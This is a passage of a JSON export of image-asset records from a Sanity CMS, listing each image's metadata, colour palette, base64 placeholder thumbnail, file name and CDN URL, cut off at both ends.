iUg8lvnK9tKSmB2cHZJJm4iUJUodobQKB9hPZ1P7ikfFsuU87KbJAwuGl4jx/1O6ER5q5ugDC/cYroZ6cEou6ZIWIQ15446vfYL0K4KvrndaxALSVHqIiLdExs/UABk6NLMOuxUYUPbyAa/pxPTGNOUUuZp+m6LDXnEnFprdVaUmpT7U3OrdY2VQNcdcrZgI7H4Rxut+tl37av5+vj7+1+W17752vfP+73x/2xruu2rsf4SO4qktzB/P/sf626Tl6tCZqiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c542c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c0c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#797778","foreground":"#fff","population":1.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39b85","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#797778","foreground":"#fff","population":1.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e93f15","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da-600x276.png","path":"images/sczeoy4w/production/8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da-600x276.png","sha1hash":"8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da","size":22338,"uploadId":"JYqNIDQluu50nRFt6nTIahbSx4GN1Yqz","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da-600x276.png"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-8f03ee94be827403c97af15215c6f847743aa148-1200x630-jpg","_rev":"oamrAPLmQLQjd9jh7Zp5hO","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"8f03ee94be827403c97af15215c6f847743aa148","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA^I{~RlGF]5%5aMe:ozV@+uJVofxCI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EAB8QAAICAgIDAQAAAAAAAAAAAAECAwQAEQUhEjFBkf/EABcBAAMBAAAAAAAAAAAAAAAAAAEFBgf/xAAcEQEAAgIDAQAAAAAAAAAAAAABAAIDEQUSFZH/2gAMAwEAAhEDEQA/ANBEpGoimMCUDZbvvF3rNbjeIE6lI5pZfDTJ5aXXsZQ/cK9D8xU0MdhFSdA6r2AfmQ/p9Mg3Nk1jKN6IL9iqIr2KUMpDlmXbEDQ3vDKoY1jjVEUKo9AYYty8ja11qaIatgDc/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c6c1","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"JobCloud_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/8f03ee94be827403c97af15215c6f847743aa148-1200x630.jpg","sha1hash":"8f03ee94be827403c97af15215c6f847743aa148","size":207541,"uploadId":"N2G9nho1WeKvYpnyT3ddcxbyggVvd3M8","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f03ee94be827403c97af15215c6f847743aa148-1200x630.jpg"} {"_createdAt":"2024-08-08T11:53:49Z","_id":"image-8f593eb99aab13eb0491cb48177529c052c5c689-800x800-jpg","_rev":"msvVOwV0ly404Y5JqAZpp6","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T11:53:49Z","assetId":"8f593eb99aab13eb0491cb48177529c052c5c689","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eqOWd3?b_NaeVs~qIUogM{M{E1ofV@xuoft7ofRjoLofxuRjoLWBRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcIBf/EACgQAAEEAgEDAQkAAAAAAAAAAAEAAgMEBhEFEjFBBwgTFCEiI0JRYf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAcEQACAgIDAAAAAAAAAAAAAAAAARESAgMiMVH/2gAMAwEAAhEDEQA/ANP8q6RvHWHQkiQMOiO4UkxXlrFDO4akdq7PBYB982w/q04+QPCoWeZNTxbgJrt36tgsjYPycfChXK5BJitzjMm6675rDQfhgfn0HvpLknKgtrrXKTTCKVUfXHFpqzH2XTwSnuwt3pFSr8InA9pyd7a3EQg/bc5ziP6s625HytDpnukLBpnWd9I/QRFq1LghX2cZ8jnHZKIiAT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343854","foreground":"#fff","population":0.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74342c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#906d67","foreground":"#fff","population":4.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9e9c","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c9c6","foreground":"#000","population":0.63,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906d67","foreground":"#fff","population":4.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba5a5c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"matan-mizrahi.jpeg","path":"images/sczeoy4w/production/8f593eb99aab13eb0491cb48177529c052c5c689-800x800.jpg","sha1hash":"8f593eb99aab13eb0491cb48177529c052c5c689","size":86748,"uploadId":"AprrGcRYMQYkr8PKIBOfa0kqeokrX4xU","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f593eb99aab13eb0491cb48177529c052c5c689-800x800.jpg"} {"_createdAt":"2024-07-17T09:04:39Z","_id":"image-8f59c7827f8721ef390474002f38db06515dfac4-1920x1080-jpg","_rev":"lESIXfhUM7GwGlQ32aLzV5","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T09:04:39Z","assetId":"8f59c7827f8721ef390474002f38db06515dfac4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIFX;]rB~TM_t,xw={%2xb-T_2xXRPofNe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgADBf/EACQQAAIBBAECBwAAAAAAAAAAAAEDAgAEBREGEiEUIkFhcYHh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAeEQACAgEFAQAAAAAAAAAAAAABAgADBBEUQVHwIf/aAAwDAQACEQMRAD8AJ8p5Gu6Bcm6b4cyI6on1oVtuQuBFN1dGcu8fN2+ad4PH2lxx5iHIhNRYQYkV28ZhsfauixFrCEwsxB2T2+6sxLRTSzIPo91KsiwuVV+fdzPH4yePsULm25MmQDN9RO9j8qpPhZydjlFh6jHcR7DdVDvW5gnF1Oon/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#572b5b","foreground":"#fff","population":5.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040769","foreground":"#fff","population":4.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#894d4c","foreground":"#fff","population":5.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7999c","foreground":"#000","population":2.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0b4a4","foreground":"#000","population":1.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#894d4c","foreground":"#fff","population":5.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d35c25","foreground":"#fff","population":5.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast-3-security-compliance_meta-preview.jpg","path":"images/sczeoy4w/production/8f59c7827f8721ef390474002f38db06515dfac4-1920x1080.jpg","sha1hash":"8f59c7827f8721ef390474002f38db06515dfac4","size":187348,"uploadId":"8B0vhqjWqrJGLKDc8YUpmXgUnUxj2Sfd","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f59c7827f8721ef390474002f38db06515dfac4-1920x1080.jpg"} {"_createdAt":"2022-06-15T20:01:48Z","_id":"image-8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhhLb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:29Z","assetId":"8fd1b39cdc0091761b88ca0d94890844e6bbbde0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaOgHE~qo0IA_3?bRjWAj[t6xaaeaeofRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQokR2RXUvbUACG8/cczAsrTPRm6Bx1m4JVxy6qA/XGqYMp7aSlHZapFTbp5lad2uoutJG2CKZo4jk9J2l68tWk6fdXoo7u4b19eS4e6rHdeiBik73NsdzNLYsQrlQqtm3f39u2ZXXa7Xq9JkkknU4dRKN737/t/4xc0hdiDhcNjXpst+4VqcKx6KaLwAu1atWyrGazWSmXSyWzUi5DCEObmzMzb51O58z09M72FsoCw9CoB8uqm6aEMeA4AO5kSarXarVqVZZljDFCWULyHMf5/f6RkRd9fQ6n07m9vcXjrKGrlGVZumHgLghCIPB8sVhUZBlCiDGGELAsCwCIx2PLy8sul2ttbS2ROJeIqBeU7rlUKsmyTAiBEPI8r+s6z/MQQk3TCCEMw6TT6Xgs7vP5F+YXPB7P0dEhhJymSpRt241GQ9M0vuuBiqKYpokxBgBomiZJ5OrqKhKJLC19mHJNjY29Gh4ennW7z07jEhGpTqdTKGgMw1zSdCqVAgBIkoQwZlkWIQQhTKWSoVBo/M3EwLMBh6O/p+fJy9HR37/2ST5HtVpNQeAvLs5jsVjs5ISm6Ww2m8/nEUJcF/b6+jocDrtcU0ODQw6Ho/dp7+Tk5PHxESEi1Ww2dL3A8xiAuzuORdmsosiGoauqksvlBEHIZJidnZ25ufcTr8dGnw8ODfTPzbr/np3mBEyZZtEwdE1TVVVRFVmRuxNFMZNhaDqRTCb/HEa/BHy+De/66uLiO6f77bjX4zk8OKDpBEUIEUVREIT/tbplEUIMw+zu7q6srgSDAd/n9eDGx+iP8N5X76f5ifWVxUAg6PV6A4HgP/u3ADwogrzjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373636","foreground":"#fff","population":8.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e200e","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#373636","foreground":"#fff","population":8.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c7b7","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb6b4","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937656","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2594b","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405.png","path":"images/sczeoy4w/production/8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405.png","sha1hash":"8fd1b39cdc0091761b88ca0d94890844e6bbbde0","size":196343,"uploadId":"7w3z3DBoAJX2xDd7dGLb4SmSlAWxa5is","url":"https://cdn.sanity.io/images/sczeoy4w/production/8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405.png"} {"_createdAt":"2024-02-01T14:11:36Z","_id":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_rev":"lhvtNBOlLYH5KiQFQCoCI3","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T14:11:36Z","assetId":"8fdf2cff104a37a3df84cdb80f753d4218dcdc5a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8F{^|s:j[spay0bS4fkWXjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.285,"height":200,"width":657},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQYlU2LXUuUURSFz+3e518UhmhfV3vdB0El5agzGFGwlvFKUUFfymAUhZClNs4ogqghEfr2M7rqV6nFGd6BLh42zzrnSQ5tOnTXoRsOyaGeQysO3XTotkF3PHTdg1cduuXQlMdwW7Zg14JTDt1zqFPek4O1g58aVh3cd3DXwTUHtxzcdHDJwcrBroNfHdxwsO/goPGPDn528DhZ6LeFDi20baH3FhpY6LuFflroxEIHFupbaN1CPQvtW6humgMLHVlo1UJrFvqTMvgtgy8y+CaDbzO4nMHnGXyZwQ8ZXMrgk8a7DSsZfJXBZxl83TTvMthL2zMTqjsX2nuz4482pq8s7sxMsPhx+2Kn35pcKPxoj80fzl16sNW6/HjQmlzYmx1/eDQ3dr/8Kbd0X6avPS1tOq9S/XcxnZxXQ+pyR35Wpfq0Sr9Ge/HCyP9juJXuH0swnnfQFxYrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c343c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b345d","foreground":"#fff","population":32.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b345d","foreground":"#fff","population":32.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973b01","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fdae7b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973b01","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6404","foreground":"#fff","population":10.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-idealo.png","path":"images/sczeoy4w/production/8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200.png","sha1hash":"8fdf2cff104a37a3df84cdb80f753d4218dcdc5a","size":5177,"uploadId":"g67X9y0kf49lwUPrNl7cM4BzaopDZN44","url":"https://cdn.sanity.io/images/sczeoy4w/production/8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200.png"} {"_createdAt":"2024-05-24T08:49:14Z","_id":"image-90011c8f255620bdae95bfa9d68b2d6b37eadf07-1200x628-png","_rev":"jlE3yG3C5Lxk0cUOqWmvF0","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T08:49:14Z","assetId":"90011c8f255620bdae95bfa9d68b2d6b37eadf07","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAAm$04mxT-:00~q9aocxtE200%LRjM|%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACs0lEQVQokSXSW0+SAQDG8fcTtLVS5JTJC76gKOABAswDinISFNKalVZrVFuFTlOQ5CRCaliitbpottVapSu7qK3manXTcevWb/Nv0tVz99uzPY9wWD5KrXQByRRFb75GY2sMk20Gs20Ok20eiz1FizOLxZnHbC8gWZYwtC3jGXrEpStbjF14hLOvxPHGNHJtAkFWO4bZdp1O9xzdA/P0+lIMBPP0Dxbo8xdxB1ZxD5bwDK3TH9qgw73O6MQzyg/2ePlkh6ebz0lnd+jybqCSFhBU4nkcPdMEwhkCkRyByBKh0WWCI6sER9YIja7jC9/HGy4zENrEF3lMofSF3z/2+fvhHX92t9n78Iurk2/QNBUQVNpxnBUwSyCcwze8SCBSJBA+QEsMnynjGbrHiZ47NJ9YostTZqX8le8/9/ny9i2ft1/z6eMfYvH31Les/Qcd3dN4Qym8oQy+oUX84SL+8DKBSInBU/foD65VQKM1T0vHKhevv6a89Y0HT95R2nhBemUX/+ktNM13EY7pJnD0zOAJpvCEMnhCOfr8OVzeRXp9RTrdBaxdeSyOxUrDxvYiVtc6py4/Jxp/xbkbW7iGy0itBdT6PIJSc4525016vQlc3iROV4IW+2xl5WbrPJI5Tq1hFrX+IG+jMeYwWldwujdxBR/S4blPo3UJtX4BhW4BoVo5gtEwjtV6jVb7JHrzDfTmGO0nkxjb4ii1U8jqpqjRzCAXE9QaMpjsd3H2bWDrLmFxFJEsGVTSPApdEuFI9TCiOkKDfpz6pijHpCh6U4xOdwaLPYlCnKT6ABRvodAmUEtpdKYCDW13qDdnOd6QRCXFkWvnUOhuIxyqCnNEFqFKeZoq9VmOqidQiFF0TZPUGaaoqYv9byjeqhxXWZ9CJWUrKRfnkGlmkGmmqRFnUUpp/gGUWpKlpgU6cQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444979","foreground":"#fff","population":2.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041569","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e7298","foreground":"#fff","population":3.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b3d8","foreground":"#000","population":3.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb0a1","foreground":"#000","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7298","foreground":"#fff","population":3.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b94c49","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-Blog-LaRedoute.png","path":"images/sczeoy4w/production/90011c8f255620bdae95bfa9d68b2d6b37eadf07-1200x628.png","sha1hash":"90011c8f255620bdae95bfa9d68b2d6b37eadf07","size":271483,"uploadId":"kiVXv8mdWHb3AUSVqpIVyFNcozZqGJCF","url":"https://cdn.sanity.io/images/sczeoy4w/production/90011c8f255620bdae95bfa9d68b2d6b37eadf07-1200x628.png"} {"_createdAt":"2024-03-26T12:10:14Z","_id":"image-902c01be419399ef9c69f6466023df4bc99504de-1200x355-png","_rev":"FsdEUX6qPquRWP6V16MIpk","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T12:10:14Z","assetId":"902c01be419399ef9c69f6466023df4bc99504de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D46klV-uDgIUkX.A-oIURls+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.380281690140845,"height":355,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABl0lEQVQYlSWRbU8SAQCA7w+UWwh0L9wd3hvHBb5x0IZgkhVF5qYW9rLcdNl6sWgyEg7wHIjQstqq3/u08MPz9Xk+PML12A6zyi5x7SVx/TVich/ZOEQ236M6n0mmm8x5J+heh4QTINt9FOcMxQmRrO4U2e4hmR1uGi2EiFwnNX9IvvSFfOmYwupXVu72KN874071nMqjCesbl1RqP/DLE+yFIbo3uBKaAZIVXAXscCoWYonnLN4+ovKww1o1YK3a4/7GgNrWhMfbl9S2fvLk2W826395sPmH4vovMoVvqO4potGeSlR3hOpeTBEiUh3DOyDrfySb/0TGbzBfaLJc7JBb6bNcDPHLQ/zVC3KlCbnSdzx/jOp00c0mqXSAuzjCWhije2OEmfgO0cQLJGMPxdxHsd6gWO9QnSNUp4HmNtHTJ2hum0Sqi+aGqG6IYrWx7QZL2RZLhQFpf4TunSNci24zE3/KDWmXiPKK2cQeUfWAmPaWuP4Bca6BZB4jmi1Es41k9ZDt0+kE1WxipFoYmT7JW/9DQ/4BwdHWhtrNCmkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44487b","foreground":"#fff","population":1.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04216d","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2684","foreground":"#fff","population":10.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d5e8","foreground":"#000","population":5.87,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7880c3","foreground":"#fff","population":0.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6d9b","foreground":"#fff","population":1.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2684","foreground":"#fff","population":10.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event email banner template Dark blue.png","path":"images/sczeoy4w/production/902c01be419399ef9c69f6466023df4bc99504de-1200x355.png","sha1hash":"902c01be419399ef9c69f6466023df4bc99504de","size":97501,"uploadId":"ckg3fVIaO19PQmVe7YYzZyfcuGXGjnws","url":"https://cdn.sanity.io/images/sczeoy4w/production/902c01be419399ef9c69f6466023df4bc99504de-1200x355.png"} {"_createdAt":"2024-06-12T09:40:40Z","_id":"image-9066789342282ac382e4432ea1566c108db09648-200x200-jpg","_rev":"06CnkCNLb8AnjQwiBpz2az","_type":"sanity.imageAsset","_updatedAt":"2024-06-12T09:40:40Z","assetId":"9066789342282ac382e4432ea1566c108db09648","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVK]l-NFR4bJoz}QWWtSbHWqKkoKITkDt7rpoz%MWARjozWVR*kCS4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAUEBgcI/8QAIxAAAgEDAwQDAAAAAAAAAAAAAQIDAAQFBhESITFBUQcTIv/EABkBAAEFAAAAAAAAAAAAAAAAAAYBAgMEBf/EABwRAAICAwEBAAAAAAAAAAAAAAABAhEDEjEhQf/aAAwDAQACEQMRAD8AsvfFTzkUndgN1Hs1WnucS/BLKVjN5B67+6hi4iUoiyL9znZFB81Kx2ZSLJAXs7pwLBuS/k1mwxyftdCByhy6o3AkA7daVijIW0o5Ryxsp7ENSk1a+D7Ryn41mkyWqMbHeO0ivOFPXxXf9c6Vw8WnMjJHaKrxxMyEdwaUopg2gUzN7I8r317cQ3BSKZ1XbsDSlKjfSwf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342b50","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a2672","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b28071","foreground":"#fff","population":6.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9e95","foreground":"#000","population":2.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8098e8","foreground":"#000","population":0.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b28071","foreground":"#fff","population":6.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a5ec8","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Nilesh-Bansal.jpg","path":"images/sczeoy4w/production/9066789342282ac382e4432ea1566c108db09648-200x200.jpg","sha1hash":"9066789342282ac382e4432ea1566c108db09648","size":36473,"uploadId":"1h10BHYxL13lyLIAiYcGmiODCBozmiiX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9066789342282ac382e4432ea1566c108db09648-200x200.jpg"} {"_createdAt":"2022-06-15T20:02:35Z","_id":"image-908467f7378d277d4de79a6d45573b78a10f8002-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriKHp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:50Z","assetId":"908467f7378d277d4de79a6d45573b78a10f8002","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA71~Y-;RPogaz?w%LM{WCoejDRiRjjrof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbElEQVQokW2S608TQRRHl74ojwAtyytAgLK2+2oBFQgtCKkRFAIh3ba0227ZFqqSEEUrYgyvAKJAwD/5mBZEMX44uTd3Zs78JhmhVTYR9TyilrtFz+PX8rTrFmLYwq9btf7vmU/N4w3lqZNLCEoZQX39p/ZNvmF88RMzq3tEl3cZX9plbPEzE6v7TKweEDUOmU0fETMOmE4dEUsdE178gu/pFnXK5kNhlYGpLeaS+6zYZ8xnj4ivHfLcPOWFfcl86Zrl8jWr5SuWShe82rxhofyTifQ32qd2HiZT7+iPbjObOWGpdEncPGO+cM7L4iVz1gWz1iVx6wez2VOi6ROmMufEchdoK8e0jL97mEyppt1E6H1WIWZ+Z2Hjhrh9VaOaoD++R9dMhe6ZCp2xD4jRHTpiH+mcrtA2+R5X5O290CGXcAYLuB5ZCB2T2+iLX5kwjhlPHDG6csDgXAVvuIwjVMQpl3AoG9Sp/zxN+U0ZR8jGJeVwS1mEhlCeFm0dX3gdv17Ap1k0yznqpSzu4Wxtk7N6s7xxK1DLOLQyTm3zHpdSwi3beGQbwS2ZtYOewBr1gwb1A4nbGkhTW5NyuIIWTqWIWyvRFLHxjxUQxyzEEQsxUv1KBfyaTZtaRGgJZhHVfG3YGsrQGDDwDt0KPdWUkolHMmkMmfj0DD0jaYaeGEiPE0ijCaSIwbCeol9Zo0vOInRKCQb0DP1j6/hVk8ZAEu9goib1DiXvaRo2aA0aiGqSnkiSvohBXzhJn5akV0nRLa8hBjMILYEE